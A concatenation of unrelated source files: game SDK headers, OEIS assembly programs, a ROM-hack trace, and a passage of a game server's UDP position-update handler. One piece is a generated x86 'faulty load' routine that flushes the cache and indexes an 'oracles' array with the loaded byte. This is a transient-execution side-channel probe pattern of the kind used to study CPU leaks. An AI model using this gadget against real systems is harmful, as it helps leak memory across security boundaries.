#include <RED4ext/CName.hpp>
#include <RED4ext/DynArray.hpp>
#include <RED4ext/Scripting/Natives/Generated/audio/AudioMetadata.hpp>
namespace RED4ext
{
namespace audio {
struct MeleeRigMapItem : audio::AudioMetadata
{
static constexpr const char* NAME = "audioMeleeRigMapItem";
static constexpr const char* ALIAS = NAME;
DynArray<CName> matchingRigs; // 38
};
RED4EXT_ASSERT_SIZE(MeleeRigMapItem, 0x48);
} // namespace audio
} // namespace RED4ext
|
; A155639: 6^n-5^n+1^n.
; 1,2,12,92,672,4652,31032,201812,1288992,8124572,50700552,313968932,1932641712,11839990892,72260648472,439667406452,2668522016832,16163719991612,97745259402792,590286253682372,3560791008422352
mov $1,6
pow $1,$0
mov $2,5
pow $2,$0
sub $1,$2
add $1,1
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x15ba7, %r15
nop
xor $24652, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
movups %xmm2, (%r15)
nop
nop
and $6665, %rbp
lea addresses_A_ht+0x9727, %rdi
nop
nop
nop
nop
nop
xor $297, %r11
mov (%rdi), %rbp
nop
nop
nop
and %r15, %r15
lea addresses_UC_ht+0x7e7, %rsi
lea addresses_D_ht+0x4d27, %rdi
nop
nop
nop
nop
nop
sub $53557, %r12
mov $7, %rcx
rep movsw
nop
nop
nop
nop
and %r12, %r12
lea addresses_D_ht+0x2e7, %r12
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm2
and $0xffffffffffffffc0, %r12
movaps %xmm2, (%r12)
nop
nop
nop
nop
add $42245, %r15
lea addresses_UC_ht+0x123e7, %r11
nop
nop
nop
nop
and $53220, %r15
mov (%r11), %rbp
nop
nop
sub $25045, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rcx
push %rdi
push %rdx
// Store
lea addresses_RW+0x100b3, %rdx
clflush (%rdx)
sub $25420, %r13
movl $0x51525354, (%rdx)
nop
and %r15, %r15
// Faulty Load
lea addresses_US+0x14ce7, %r10
nop
nop
nop
nop
xor %r15, %r15
mov (%r10), %di
lea oracles, %rdx
and $0xff, %rdi
shlq $12, %rdi
mov (%rdx,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A064198: a(n) = 3*(n-2)*(n-3)*(3*n^2-3*n-8)/2.
; Submitted by Jamie Morken(s4)
; 0,0,84,468,1476,3540,7200,13104,22008,34776,52380,75900,106524,145548,194376,254520,327600,415344,519588,642276,785460,951300,1142064,1360128,1607976,1888200,2203500,2556684,2950668,3388476,3873240,4408200,4996704,5642208,6348276,7118580,7956900,8867124,9853248,10919376,12069720,13308600,14640444,16069788,17601276,19239660,20989800,22856664,24845328,26960976,29208900,31594500,34123284,36800868,39632976,42625440,45784200,49115304,52624908,56319276,60204780,64287900,68575224,73073448,77789376
mov $1,$0
add $0,2
mul $0,$1
mul $0,2
sub $0,1
bin $1,2
sub $0,$1
mul $1,$0
mov $0,$1
mul $0,6
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
0049DA move.w ($10,A6), -(A4) [base+689E, base+68B2, base+68B6, base+68BE, base+68C2, base+68C6, base+68CA, base+68CE, base+68F6, base+68FA, base+6902, base+6906, base+690A, base+690E, base+6912, base+6916, base+693A, base+693E, base+694A, base+694E, base+6952, base+6956, base+697E, base+6982, base+698A, base+698E, base+6992, base+6996, base+699A, base+69A2, base+69A6, base+69AA, base+69AE]
0049DE move.w A4, ($67c2,A5) [123p+ 10, base+68F4, base+68F8, base+68FC, base+6900, base+6904, base+6908, base+690C, base+6910, base+6914, base+6918, base+697C, base+6980, base+6988, base+698C, base+6990, base+6994, base+6998, base+699C, base+69A0, base+69A4, base+69A8, base+69AC, enemy+10, etc+10, item+10]
014022 move.l -(A1), D1 [base+68A0, base+68F4, base+68F6, base+68F8, base+68FA, base+690A, base+690C, base+690E, base+6910, base+6912, base+6914, base+6916, base+6918, base+697C, base+697E, base+6980, base+6982, base+698E, base+6990, base+6992, base+6994, base+6996, base+6998, base+699A, base+699C, base+69A0, base+69A2, base+69A4, base+69A6, base+69A8, base+69AA, base+69AC, base+69AE]
014024 cmp.l D1, D0 [base+689C, base+68F4, base+68F6, base+68F8, base+68FA, base+6908, base+690A, base+690C, base+690E, base+6910, base+6912, base+6914, base+6916, base+6918, base+697C, base+697E, base+6980, base+6982, base+698A, base+698E, base+6990, base+6992, base+6994, base+6996, base+6998, base+699A, base+699C, base+69A0, base+69A2, base+69A4, base+69A6, base+69A8, base+69AA]
014030 move.l D1, (A1) [base+68A0, base+68F4, base+68F6, base+68F8, base+68FA, base+690A, base+690C, base+690E, base+6910, base+6912, base+6914, base+6916, base+6918, base+697C, base+697E, base+6980, base+6982, base+698E, base+6990, base+6992, base+6994, base+6996, base+6998, base+699A, base+699C, base+69A0, base+69A2, base+69A4, base+69A6, base+69A8, base+69AA, base+69AC, base+69AE]
014032 dbra D7, $14020 [base+689C, base+68F4, base+68F6, base+68F8, base+68FA, base+6908, base+690A, base+690C, base+690E, base+6910, base+6912, base+6914, base+6916, base+6918, base+697C, base+697E, base+6980, base+6982, base+698A, base+698E, base+6990, base+6992, base+6994, base+6996, base+6998, base+699A, base+699C, base+69A0, base+69A2, base+69A4, base+69A6, base+69A8, base+69AA]
014054 move.l -(A6), D0
014056 movea.w D0, A0 [base+689C, base+68F4, base+68F6, base+68F8, base+68FA, base+690A, base+690C, base+690E, base+6910, base+6912, base+6914, base+6916, base+6918, base+697C, base+697E, base+6980, base+6982, base+698E, base+6990, base+6992, base+6994, base+6996, base+6998, base+699A, base+699C, base+69A0, base+69A2, base+69A4, base+69A6, base+69A8, base+69AA, base+69AC, base+69AE]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
#pragma once
// ARKSurvivalEvolved (329.9) SDK
#ifdef _MSC_VER
#pragma pack(push, 0x8)
#endif
#include "ARKSurvivalEvolved_PrimalItem_DungeonEntrance_TekCave_Hard_structs.hpp"
namespace sdk
{
//---------------------------------------------------------------------------
//Classes
//---------------------------------------------------------------------------
// BlueprintGeneratedClass PrimalItem_DungeonEntrance_TekCave_Hard.PrimalItem_DungeonEntrance_TekCave_Hard_C
// 0x0000 (0x0AEC - 0x0AEC)
class UPrimalItem_DungeonEntrance_TekCave_Hard_C : public UPrimalItem_DungeonEntrance_Base_C
{
public:
static UClass* StaticClass()
{
static auto ptr = UObject::FindClass("BlueprintGeneratedClass PrimalItem_DungeonEntrance_TekCave_Hard.PrimalItem_DungeonEntrance_TekCave_Hard_C");
return ptr;
}
void ExecuteUbergraph_PrimalItem_DungeonEntrance_TekCave_Hard(int EntryPoint);
};
}
#ifdef _MSC_VER
#pragma pack(pop)
#endif
|
; A091084: a(n) = A001045(n) mod 10.
; 0,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5,1,1,3,5
mul $0,58
lpb $0
add $0,4
lpb $0
mod $0,8
mod $1,42
add $1,1
lpe
add $1,$0
div $0,2
add $0,1
mul $1,882
lpe
div $1,882
|
// GsPositionThread.cpp -*- C++ -*-
// $Id: GsPositionThread.cpp,v 1.42 1998/04/17 02:08:10 jason Exp $
// Copyright 1996-1997 Lyra LLC, All rights reserved.
//
// implementation
#ifdef __GNUC__
#pragma implementation "GsPositionThread.h"
#endif
#include <errno.h>
#include <string.h>
#include <stdio.h>
#ifndef WIN32
#include <stdlib.h>
#include <unistd.h>
#include <sys/select.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#endif
#include "GsPositionThread.h"
#include "LyraDefs.h"
#include "GsMain.h"
#include "LmGlobalDB.h"
#include "LmLevelDBC.h"
#include "LmSockAddrInet.h"
#include "LmSockType.h"
#include "LmConnection.h"
#include "LmMesgHdr.h"
#include "LmSrvMesgBuf.h"
#include "RMsg_PlayerUpdate.h"
#include "RMsg_Update.h"
//#include "RMsg_PeerUpdate.h"
#include "GsPlayerSet.h"
#include "GsPlayer.h"
#include "LmConnectionSet.h"
#include "GsOutputDispatch.h"
#include "SMsg_GS_Action.h"
#include "SMsg_ResetPort.h"
#include "GsUtil.h"
#include "GsMacros.h"
#include "LmLogFile.h"
#include "LmTimer.h"
#ifndef USE_INLINE
#include "GsPositionThread.i"
#endif
DECLARE_TheFileName;
////
// Constructor
////
GsPositionThread::GsPositionThread(GsMain* gsmain)
: LmThread(gsmain->BufferPool(), gsmain->Log() /* &logf_ */ ),
main_(gsmain),
usock_(gsmain->SocketUDP()),
msgbuf_(0),
ls_udp_in_bytes_(0),
ls_udp_in_msgs_(0),
ls_udp_out_bytes_(0),
ls_udp_out_msgs_(0),
cl_udp_in_bytes_(0),
cl_udp_in_msgs_(0),
cl_udp_out_bytes_(0),
cl_udp_out_msgs_(0)
{
DECLARE_TheLineNum;
// message buffer needs to be large enough to hold a RMsg_Update or RMsg_PlayerUpdate
RMsg_Update m1;
RMsg_PlayerUpdate m2;
int bufsize = MAX(m1.MaxMessageSize(), m2.MaxMessageSize());
msgbuf_ = LmNEW(LmSrvMesgBuf(bufsize));
open_log();
register_message_handlers();
}
////
// Destructor
////
GsPositionThread::~GsPositionThread()
{
DECLARE_TheLineNum;
usock_->Shutdown();
LmDELETE(msgbuf_);
close_log();
}
////
// Run
////
void GsPositionThread::Run()
{
// TLOG_Debug(_T("Position thread pid = %d"), getpid());
LmUtil::BlockAllSignals()
DECLARE_TheLineNum;
// modified LmThread mainloop
while (!Done()) {
HandleUDP();
HandleAvailableMessages();
Yield();
}
DoneRunning();
}
////
// HandleUDP
////
void GsPositionThread::HandleUDP()
{
DEFMETHOD(GsPositionThread, HandleUDP);
DECLARE_TheLineNum;
// wait up to 1/2 second for message to be available on usock_
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 500000;
fd_set fds;
FD_ZERO(&fds);
FD_SET(usock_->Descriptor(), &fds);
#ifdef WIN32
int rc = select(usock_->Descriptor() + 1, &fds, NULL, NULL, &tv);
#else
int rc = pth_select(usock_->Descriptor() + 1, &fds, NULL, NULL, &tv);
#endif
if (rc < 0) {
TLOG_Error(_T("%s: select: %s"), method, strerror(errno));
return;
}
// if nothing there, return
if (rc == 0) {
return;
}
// the only descriptor set should be usock_'s, but might as well check
if (!FD_ISSET(usock_->Descriptor(), &fds)) {
TLOG_Error(_T("%s: UDP socket descriptor not set?"), method);
return;
}
// else, read message
LmSockAddrInet caddr;
LmMesgHdr hdr;
#ifdef WIN32
unsigned char buffer[64];
rc = usock_->RecvFrom(buffer, 64, caddr, MSG_PEEK);
memcpy((void*)hdr.HeaderAddress(), buffer, hdr.HeaderSize());
#else
// don't actually read bytes, since it may discard the rest of the UDP datagram
rc = usock_->RecvFrom(hdr.HeaderAddress(), hdr.HeaderSize(), caddr, MSG_PEEK);
#endif
if (rc < 0) { // error?
#ifdef WIN32
int error = WSAGetLastError();
#endif
TLOG_Error(_T("%s: recvfrom: %s"), method, strerror(errno));
return;
}
if (rc < hdr.HeaderSize()) { // read a full header?
TLOG_Error(_T("%s: incomplete header, %d bytes read"), method, rc);
return;
}
hdr.SetByteOrder(ByteOrder::NETWORK);
hdr.ConvertToHost();
// initialize buffer
msgbuf_->ReadHeader(hdr);
// read entire message, including header
rc = usock_->RecvFrom(msgbuf_->BufferAddress(), msgbuf_->BufferSize());
if (rc < 0) { // error?
TLOG_Error(_T("%s: recvfrom: %s"), method, strerror(errno));
return;
}
// get full message?
if (rc != msgbuf_->BufferSize()) {
TLOG_Error(_T("%s: only read %d bytes, expected %d"), method, rc, msgbuf_->BufferSize());
return;
}
// TLOG_Debug(_T("%s: Got UDP update; mtype=%d msize=%d ip=%s:%d"), method, hdr.MessageType(), hdr.MessageSize(), caddr.AddressString(), caddr.Port());
// dispatch
switch (hdr.MessageType()) {
case RMsg::UPDATE: // client->ls update
cl_udp_in_msgs_++;
cl_udp_in_bytes_ += rc;
handle_RMsg_Update_UDP(msgbuf_, caddr);
break;
case RMsg::PLAYERUPDATE: // ls->client update
ls_udp_in_msgs_++;
ls_udp_in_bytes_ += rc;
handle_RMsg_PlayerUpdate(msgbuf_, caddr);
break;
default:
TLOG_Error(_T("%s: unknown message type %d received"), method, hdr.MessageType());
break;
}
}
////
// Dump
////
void GsPositionThread::Dump(FILE* f, int indent) const
{
DECLARE_TheLineNum;
INDENT(indent, f);
_ftprintf(f, _T("<GsPositionThread[%p,%d]: main=[%p] usock=[%p]>\n"), this, sizeof(GsPositionThread),
main_, usock_);
INDENT(indent + 1, f);
_ftprintf(f, _T("ls udp: in=%d/%d out=%d/%d\n"),
ls_udp_in_msgs_, ls_udp_in_bytes_, ls_udp_out_msgs_, ls_udp_out_bytes_);
INDENT(indent + 1, f);
_ftprintf(f, _T("cl udp: in=%d/%d out=%d/%d\n"),
cl_udp_in_msgs_, cl_udp_in_bytes_, cl_udp_out_msgs_, cl_udp_out_bytes_);
msgbuf_->Dump(f, indent + 1);
LmThread::Dump(f, indent + 1);
}
////
// open_log
////
void GsPositionThread::open_log()
{
// logf_.Init("gs", "pos", main_->ServerPort());
// logf_.Open(main_->GlobalDB()->LogDir());
}
////
// close_log
////
void GsPositionThread::close_log()
{
// logf_.Close();
}
////
// register_message_handlers
////
void GsPositionThread::register_message_handlers()
{
DECLARE_TheLineNum;
// default message handler
SetDefaultHandler((MsgHandler) &GsPositionThread::handle_Default);
// SMsg_LS_* handlers
RegisterHandler(SMsg::GS_ACTION, (MsgHandler)&GsPositionThread::handle_SMsg_GS_Action);
// RMsg handles
RegisterHandler(RMsg::UPDATE, (MsgHandler)&GsPositionThread::handle_RMsg_Update_TCP);
}
////
// handle_Default
////
void GsPositionThread::handle_Default(LmSrvMesgBuf* msgbuf, LmConnection* conn)
{
DEFMETHOD(GsPositionThread, (GsPositionThread::handle_Default));
DECLARE_TheLineNum;
HANDLER_ENTRY(true);
// print error message to log
TLOG_Error(_T("%s: unknown message type %d, size %d received"), method, msg_type, msg_size);
}
////
// handle_SMsg_GS_Action
////
void GsPositionThread::handle_SMsg_GS_Action(LmSrvMesgBuf* msgbuf, LmConnection* conn)
{
DEFMETHOD(GsPositionThread, handle_SMsg_GS_Action);
DECLARE_TheLineNum;
HANDLER_ENTRY(false);
// pre-conditions
CHECK_CONN_NULL();
// accept message
ACCEPT_MSG(SMsg_GS_Action, false); // don't send error
// process
// TLOG_Debug(_T("%s: action=%c"), method, msg.Action());
switch (msg.Action()) {
case SMsg_GS_Action::ACTION_EXIT:
TLOG_Log(_T("%s: exiting"), method);
SetDone();
break;
case SMsg_GS_Action::ACTION_HEARTBEAT:
TLOG_Log(_T("%s: position thread running"), method);
break;
default:
TLOG_Error(_T("%s: illegal action code %c"), method, msg.Action());
break;
}
}
////
// handle_RMsg_Update_UDP: handles update for UDP clients
////
void GsPositionThread::handle_RMsg_Update_UDP(LmSrvMesgBuf* msgbuf, LmSockAddrInet& caddr)
{
DEFMETHOD(GsPositionThread, handle_RMsg_Update_UDP);
DECLARE_TheLineNum;
// read the message
RMsg_Update msg;
if (msg.Read(*msgbuf) < 0) {
TLOG_Error(_T("%s: could not read message, type %d"), method, msgbuf->Header().MessageType());
return;
}
//msg.Dump(TLOG_Stream(), 2);
lyra_id_t playerid = msg.PlayerID();
// check that message came from player in the game
GsPlayer* player = main_->PlayerSet()->GetPlayer(playerid);
if (!player) {
//TLOG_Warning(_T("%s: update from player %u, not in game"), method, playerid);
return;
}
// update player info
// LmTimer timer;
// timer.Start();
int rc = player->CheckAndReceiveUpdate(msg.PeerUpdate());
// timer.Stop();
#ifdef UL3D
TLOG_Debug(_T("%s: player %u - idle time %d, time %u"), method, playerid, player->IdleTime(), time(NULL));
#endif
if (rc < 0) {
// if rc is -1, then log, up to 5 times
if ((rc == -1) && (player->NumWeaponChecksFailed() < 5)) {
player->CheckAndReceiveUpdate(msg.PeerUpdate());
SECLOG(6, _T("%s: player %u: peer update contained illegal weapon (bm=%d vel=%d fx=%d dmg=%d)"), method,
playerid, msg.PeerUpdate().WeaponBitmap(), msg.PeerUpdate().WeaponVelocity(),
msg.PeerUpdate().WeaponEffect(), msg.PeerUpdate().WeaponDamage());
}
// Note: attack bits were cleared, so we must copy the message back into the buffer
msgbuf->ReadMessage(msg);
}
// check that player is logged into a level
if (!player->InLevel() || !player->LevelDBC()) {
//TLOG_Warning(_T("%s: player %u sent update while not in level"), method, playerid);
return;
}
// removed - 5/02 BMP to allow use via a firewall
// check IP address for possible spoofing
if (player->ClientAddress().IPAddress() != caddr.IPAddress()) {
player->SetUpdateAddress(caddr.IPAddress(), caddr.Port());
//TCHAR connstr[20];
//_tcsnccpy(connstr, player->ClientAddress().AddressString(), sizeof(connstr));
//SECLOG(1, _T("%s: player %u: possible C->S update spoof, connection IP = %s, udp IP = %s:%d"), method,
//playerid, connstr, caddr.AddressString(), caddr.Port());
//return;
}
if (caddr.Port() != player->UpdateAddress().Port())
{ // If the client UDP bound port is not what we expect, it means they
// must be using NAT or something similar. In this case, we need to send
// the "correct" port to the level server
player->SetUpdateAddress(caddr.IPAddress(), caddr.Port());
//TLOG_Debug(_T("gamed reset peer update port for player %u to %d"), playerid, caddr.Port());
if (!player->Firewall()) // only send on to leveld if we're not forward the UDP updates
send_SMsg_ResetPort(player->PlayerID(), caddr.Port(), player->LevelConnection());
}
// forward to player's level server via UDP
//TLOG_Debug(_T("%s: redirecting update from player %u to %s:%d"), method, playerid, saddr.AddressString(), saddr.Port());
//TLOG_Debug(_T("got peer update packet from player %u on port %d; x= %d, y=%d"), playerid, caddr.Port(), msg.PeerUpdate().X(), msg.PeerUpdate().Y());
usock_->SendTo(msgbuf->BufferAddress(), msgbuf->BufferSize(), player->LevelAddress());
// update stats
ls_udp_out_msgs_++;
ls_udp_out_bytes_ += msgbuf->BufferSize();
}
////
// handle_RMsg_Update_TCP: updates for TCP-only clients - deprecated
////
//#if 0
void GsPositionThread::handle_RMsg_Update_TCP(LmSrvMesgBuf* msgbuf, LmConnection* conn)
{
DEFMETHOD(GsPositionThread, handle_RMsg_Update_TCP);
DECLARE_TheLineNum;
HANDLER_ENTRY(true);
// pre-conditions
CHECK_CONN_NONNULL();
CHECK_CONN_ISCLIENT();
// accept message
ACCEPT_MSG(RMsg_Update, true); // send error
if (conn->ID() != msg.PlayerID()) {
TLOG_Error(_T("%s: message from client id %u, not player %u"), method, conn->ID(), msg.PlayerID()); \
GsUtil::Send_Error(main_, conn, msg_type, _T("id mismatch"));
return;
}
// process
// TLOG_Debug(_T("%s: got update"), method);
//msg.Dump(TLOG_Stream(), 2);
lyra_id_t playerid = msg.PlayerID();
// check that message came from player in the game
GsPlayer* player = main_->PlayerSet()->GetPlayer(playerid);
if (!player) {
//TLOG_Warning(_T("%s: update from player %u, not in game"), method, playerid);
return;
}
// update player info
// LmTimer timer;
// timer.Start();
int rc = player->CheckAndReceiveUpdate(msg.PeerUpdate());
// timer.Stop();
// TLOG_Debug(_T("%s: player %u: rc=%d, time=%lu usec"), method, playerid, rc, timer.MicroSeconds());
if (rc < 0) {
// if rc is -1, then log, up to 5 times
if ((rc == -1) && (player->NumWeaponChecksFailed() < 5)) {
SECLOG(6, _T("%s: player %u: peer update contained illegal weapon (bm=%d vel=%d fx=%d dmg=%d)"), method,
playerid, msg.PeerUpdate().WeaponBitmap(), msg.PeerUpdate().WeaponVelocity(),
msg.PeerUpdate().WeaponEffect(), msg.PeerUpdate().WeaponDamage());
}
// Note: attack bits were cleared, so we must copy the message back into the buffer
ACCEPT_MSG(RMsg_Update, true);
}
// check that player is logged into a level
if (!player->InLevel() || !player->LevelDBC()) {
//TLOG_Warning(_T("%s: player %u sent update while not in level"), method, playerid);
return;
}
//TLOG_Debug("%s: player %u sending TCP position update", method, msg.PlayerID());
// forward to player's level server via UDP
//TLOG_Debug(_T("%s: redirecting update from player %u to %s:%d"), method, playerid, saddr.AddressString(), saddr.Port());
usock_->SendTo(msgbuf->BufferAddress(), msgbuf->BufferSize(), player->LevelAddress());
return;
}
//#endif
////
// handle_RMsg_PlayerUpdate
////
void GsPositionThread::handle_RMsg_PlayerUpdate(LmSrvMesgBuf* msgbuf, LmSockAddrInet& caddr)
{
DEFMETHOD(GsPositionThread, handle_RMsg_PlayerUpdate);
DECLARE_TheLineNum;
// read the message
RMsg_PlayerUpdate msg;
if (msg.Read(*msgbuf) < 0) {
TLOG_Error(_T("%s: could not read message, type %d"), method, msgbuf->Header().MessageType());
return;
}
//msg.Dump(TLOG_Stream(), 2);
lyra_id_t playerid = msg.PlayerID();
// check that message target is in the game
GsPlayer* player = main_->PlayerSet()->GetPlayer(playerid);
if (!player) {
//TLOG_Warning(_T("%s: peer update for player %u, not in game"), method, playerid);
return;
}
// check that player is logged into a level
if (!player->InLevel() || !player->LevelDBC()) {
//TLOG_Warning(_T("%s: player %u received update while not in level"), method, playerid);
return;
}
// check IP address for possible spoofing
if (player->LevelAddress().IPAddress() != caddr.IPAddress()) {
TCHAR levelstr[20];
_tcsnccpy(levelstr, player->LevelAddress().AddressString(), sizeof(levelstr));
SECLOG(1, _T("%s: player %u: possible S->C update spoof, level connection IP = %s, udp IP = %s:%d"), method,
playerid, levelstr, caddr.AddressString(), caddr.Port());
return;
}
// copy update info into player structure
// player->ReceivedServerUpdate(msg);
// forward to player via UDP
//TLOG_Debug(_T("%s: redirecting player update for player %u to %s:%d"), method, playerid, player->UpdateAddress().AddressString(), player->UpdateAddress().Port());
if( player->TCPOnly() )
main_->OutputDispatch()->SendMessage(&msg, player->Connection());
else
usock_->SendTo(msgbuf->BufferAddress(), msgbuf->BufferSize(), player->UpdateAddress());
// update stats
cl_udp_out_msgs_++;
cl_udp_out_bytes_ += msgbuf->BufferSize();
}
////
// send_SMsg_ResetPort
////
void GsPositionThread::send_SMsg_ResetPort(lyra_id_t playerid, int port, LmConnection* level_conn)
{
DEFMETHOD(GsPositionThread, send_SMsg_ResetPort);
SMsg_ResetPort msg;
msg.Init(playerid, port);
